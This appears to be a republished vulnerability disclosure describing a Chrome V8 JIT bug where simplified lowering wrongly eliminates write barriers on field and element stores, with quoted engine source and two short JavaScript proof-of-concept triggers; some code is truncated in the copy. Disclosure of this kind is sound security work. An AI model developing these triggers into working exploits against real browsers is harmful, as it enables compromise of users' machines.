Chrome V8 JIT Optmization Bug

Chrome V8 JIT suffers from a simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug.

MD5 | cf482c8ffa69e71cd5fd8a7fedeea173

Chrome: V8: JIT: Simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug 

I think this commit has introduced the bugs: <a href="" title="" class="" rel="nofollow"></a>

Here's a snippet.
case IrOpcode::kStoreField: {
FieldAccess access = FieldAccessOf(node->op());
Node* value_node = node->InputAt(1);
NodeInfo* input_info = GetInfo(value_node);
MachineRepresentation field_representation =

// Make sure we convert to Smi if possible. This should help write
// barrier elimination.
if (field_representation == MachineRepresentation::kTagged &&
TypeOf(value_node)->Is(Type::SignedSmall())) {
field_representation = MachineRepresentation::kTaggedSigned;
WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
access.base_is_tagged, field_representation, access.offset,
access.type, input_info->representation(), value_node);

ProcessInput(node, 0, UseInfoForBasePointer(access));
ProcessInput(node, 1,
ProcessRemainingInputs(node, 2);
SetOutput(node, MachineRepresentation::kNone);
if (lower()) {
if (write_barrier_kind < access.write_barrier_kind) {
access.write_barrier_kind = write_barrier_kind;
node, jsgraph_->simplified()->StoreField(access));

Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.

But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.

Note: It's the same when handling kStoreElement.

PoC 1 using kStoreField.
var a, b; // should be var
for (var i = 0; i < 100000; i++) {
b = 1;
a = i + -0; // -0 is a number, so this will make "a" a heap object.
b = a;

print(a === b); // true
print(a === b); // false

PoC 2 using kStoreElement.
let arr = [{}];
var v; // should be var
for (var i = 0; i < 700000; i++) {
arr[0] = 1;
v = i + -0;
arr[0] = v;

print(arr[0] === v) // true
print(arr[0] === v) // false

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Related Posts